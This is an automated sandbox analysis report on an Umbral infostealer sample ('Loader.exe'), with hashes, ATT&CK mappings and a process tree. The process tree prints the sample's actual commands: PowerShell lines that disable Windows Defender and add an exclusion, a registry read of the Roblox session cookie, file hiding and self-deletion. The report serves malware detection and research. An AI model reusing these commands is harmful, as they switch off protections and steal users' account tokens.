umbral | 6a4fcfa665df00fc6999864ba0979baf7b702366bee72f25e54ab8497ddf4ed4

Analysis

max time kernel
37s
max time network
39s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
21-01-2025 00:48

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General

Target

Loader.exe
Size

229KB
MD5

557fb114d1230615723db900b54ca491
SHA1

bfbe71aaacb3121f53064b56f2a9ffdbce80c629
SHA256

aaa81611974a919396e98e4b8f8f88214ed08019b41ecc78d9617ae1691085f1
SHA512

fb5bb29b10069e394b59a11296bd2d90ec3bb0b47c495d2bc1a12efba175e061649213ac01af39fcc75ed9bf4fd8c3b833ef833535c45b80ccbfdac3d73f38b9
SSDEEP

6144:lloZM+rIkd8g+EtXHkv/iD4r6FnR/k4XcG/BcoNCjMb8e1mmo6i:noZtL+EP8r6FnR/k4XcG/BcoNTW

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/1448-0-0x0000019AC6D80000-0x0000019AC6DC0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5088	powershell.exe
2220	powershell.exe
4304	powershell.exe
2164	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Loader.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
21	discord.com
22	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3064	cmd.exe
3400	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4588	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3400	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
1448	Loader.exe
5088	powershell.exe
5088	powershell.exe
2220	powershell.exe
2220	powershell.exe
4304	powershell.exe
4304	powershell.exe
4136	powershell.exe
4136	powershell.exe
2164	powershell.exe
2164	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1448	Loader.exe
Token: SeIncreaseQuotaPrivilege	2772	wmic.exe
Token: SeSecurityPrivilege	2772	wmic.exe
Token: SeTakeOwnershipPrivilege	2772	wmic.exe
Token: SeLoadDriverPrivilege	2772	wmic.exe
Token: SeSystemProfilePrivilege	2772	wmic.exe
Token: SeSystemtimePrivilege	2772	wmic.exe
Token: SeProfSingleProcessPrivilege	2772	wmic.exe
Token: SeIncBasePriorityPrivilege	2772	wmic.exe
Token: SeCreatePagefilePrivilege	2772	wmic.exe
Token: SeBackupPrivilege	2772	wmic.exe
Token: SeRestorePrivilege	2772	wmic.exe
Token: SeShutdownPrivilege	2772	wmic.exe
Token: SeDebugPrivilege	2772	wmic.exe
Token: SeSystemEnvironmentPrivilege	2772	wmic.exe
Token: SeRemoteShutdownPrivilege	2772	wmic.exe
Token: SeUndockPrivilege	2772	wmic.exe
Token: SeManageVolumePrivilege	2772	wmic.exe
Token: 33	2772	wmic.exe
Token: 34	2772	wmic.exe
Token: 35	2772	wmic.exe
Token: 36	2772	wmic.exe
Token: SeIncreaseQuotaPrivilege	2772	wmic.exe
Token: SeSecurityPrivilege	2772	wmic.exe
Token: SeTakeOwnershipPrivilege	2772	wmic.exe
Token: SeLoadDriverPrivilege	2772	wmic.exe
Token: SeSystemProfilePrivilege	2772	wmic.exe
Token: SeSystemtimePrivilege	2772	wmic.exe
Token: SeProfSingleProcessPrivilege	2772	wmic.exe
Token: SeIncBasePriorityPrivilege	2772	wmic.exe
Token: SeCreatePagefilePrivilege	2772	wmic.exe
Token: SeBackupPrivilege	2772	wmic.exe
Token: SeRestorePrivilege	2772	wmic.exe
Token: SeShutdownPrivilege	2772	wmic.exe
Token: SeDebugPrivilege	2772	wmic.exe
Token: SeSystemEnvironmentPrivilege	2772	wmic.exe
Token: SeRemoteShutdownPrivilege	2772	wmic.exe
Token: SeUndockPrivilege	2772	wmic.exe
Token: SeManageVolumePrivilege	2772	wmic.exe
Token: 33	2772	wmic.exe
Token: 34	2772	wmic.exe
Token: 35	2772	wmic.exe
Token: 36	2772	wmic.exe
Token: SeDebugPrivilege	5088	powershell.exe
Token: SeDebugPrivilege	2220	powershell.exe
Token: SeDebugPrivilege	4304	powershell.exe
Token: SeDebugPrivilege	4136	powershell.exe
Token: SeIncreaseQuotaPrivilege	860	wmic.exe
Token: SeSecurityPrivilege	860	wmic.exe
Token: SeTakeOwnershipPrivilege	860	wmic.exe
Token: SeLoadDriverPrivilege	860	wmic.exe
Token: SeSystemProfilePrivilege	860	wmic.exe
Token: SeSystemtimePrivilege	860	wmic.exe
Token: SeProfSingleProcessPrivilege	860	wmic.exe
Token: SeIncBasePriorityPrivilege	860	wmic.exe
Token: SeCreatePagefilePrivilege	860	wmic.exe
Token: SeBackupPrivilege	860	wmic.exe
Token: SeRestorePrivilege	860	wmic.exe
Token: SeShutdownPrivilege	860	wmic.exe
Token: SeDebugPrivilege	860	wmic.exe
Token: SeSystemEnvironmentPrivilege	860	wmic.exe
Token: SeRemoteShutdownPrivilege	860	wmic.exe
Token: SeUndockPrivilege	860	wmic.exe
Token: SeManageVolumePrivilege	860	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 1448 wrote to memory of 2772	1448	Loader.exe	82
PID 1448 wrote to memory of 2772	1448	Loader.exe	82
PID 1448 wrote to memory of 2324	1448	Loader.exe	85
PID 1448 wrote to memory of 2324	1448	Loader.exe	85
PID 1448 wrote to memory of 5088	1448	Loader.exe	87
PID 1448 wrote to memory of 5088	1448	Loader.exe	87
PID 1448 wrote to memory of 2220	1448	Loader.exe	89
PID 1448 wrote to memory of 2220	1448	Loader.exe	89
PID 1448 wrote to memory of 4304	1448	Loader.exe	91
PID 1448 wrote to memory of 4304	1448	Loader.exe	91
PID 1448 wrote to memory of 4136	1448	Loader.exe	93
PID 1448 wrote to memory of 4136	1448	Loader.exe	93
PID 1448 wrote to memory of 860	1448	Loader.exe	95
PID 1448 wrote to memory of 860	1448	Loader.exe	95
PID 1448 wrote to memory of 540	1448	Loader.exe	97
PID 1448 wrote to memory of 540	1448	Loader.exe	97
PID 1448 wrote to memory of 1648	1448	Loader.exe	99
PID 1448 wrote to memory of 1648	1448	Loader.exe	99
PID 1448 wrote to memory of 2164	1448	Loader.exe	101
PID 1448 wrote to memory of 2164	1448	Loader.exe	101
PID 1448 wrote to memory of 4588	1448	Loader.exe	103
PID 1448 wrote to memory of 4588	1448	Loader.exe	103
PID 1448 wrote to memory of 3064	1448	Loader.exe	105
PID 1448 wrote to memory of 3064	1448	Loader.exe	105
PID 3064 wrote to memory of 3400	3064	cmd.exe	107
PID 3064 wrote to memory of 3400	3064	cmd.exe	107

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2324	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Loader.exe
"C:\Users\Admin\AppData\Local\Temp\Loader.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1448
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2772
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
  2⤵
  - Views/modifies file attributes
  PID:2324
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Loader.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5088
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2220
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4304
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4136
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:860
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:540
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1648
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2164
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:4588
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Loader.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:3064
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3400

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d28a889fd956d5cb3accfbaf1143eb6f

SHA1
157ba54b365341f8ff06707d996b3635da8446f7

SHA256
21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

SHA512
0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
8bbd6908e148d61010a3130cb6aae4a0

SHA1
e74bcc1b0f762fcd7469d0621b9c7fe50b0c365d

SHA256
79c8ed7085737723dbc7c40b32d01ea400171787259b7458561cd5db60401023

SHA512
38057edb5f2ce86329f558bf34224c6110443635756b1b26da99f89b13e3f971bf602939f40d3fce8459cfdab4ad4fa4928ecb933ff045173535fcc46fe4855f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
ec79fae4e7c09310ebf4f2d85a33a638

SHA1
f2bdd995b12e65e7ed437d228f22223b59e76efb

SHA256
e9c4723a5fe34e081c3d2f548a1d472394cc7aa58056fcf44ca542061381243a

SHA512
af9dda12f6bb388d826fe03a4a8beed9bda23a978aa55a2af6a43271660ee896a7ee3bcf2c4d2f1e6180902791d8c23560f1c2ec097a501d8c6f4f6c49075625

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_chl01tez.zpu.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1448-34-0x0000019AE1580000-0x0000019AE159E000-memory.dmp

Filesize
120KB

Download
memory/1448-32-0x0000019AE13D0000-0x0000019AE1446000-memory.dmp

Filesize
472KB

Download
memory/1448-33-0x0000019AE15D0000-0x0000019AE1620000-memory.dmp

Filesize
320KB

Download
memory/1448-0-0x0000019AC6D80000-0x0000019AC6DC0000-memory.dmp

Filesize
256KB

Download
memory/1448-2-0x00007FFF66610000-0x00007FFF66805000-memory.dmp

Filesize
2.0MB

Download
memory/1448-71-0x0000019AC8A20000-0x0000019AC8A2A000-memory.dmp

Filesize
40KB

Download
memory/1448-72-0x0000019AC8A60000-0x0000019AC8A72000-memory.dmp

Filesize
72KB

Download
memory/1448-1-0x00007FFF66610000-0x00007FFF66805000-memory.dmp

Filesize
2.0MB

Download
memory/1448-92-0x00007FFF66610000-0x00007FFF66805000-memory.dmp

Filesize
2.0MB

Download
memory/5088-17-0x00007FFF66610000-0x00007FFF66805000-memory.dmp

Filesize
2.0MB

Download
memory/5088-5-0x0000027CEE150000-0x0000027CEE172000-memory.dmp

Filesize
136KB

Download
memory/5088-3-0x00007FFF66610000-0x00007FFF66805000-memory.dmp

Filesize
2.0MB

Download
memory/5088-4-0x00007FFF66610000-0x00007FFF66805000-memory.dmp

Filesize
2.0MB

Download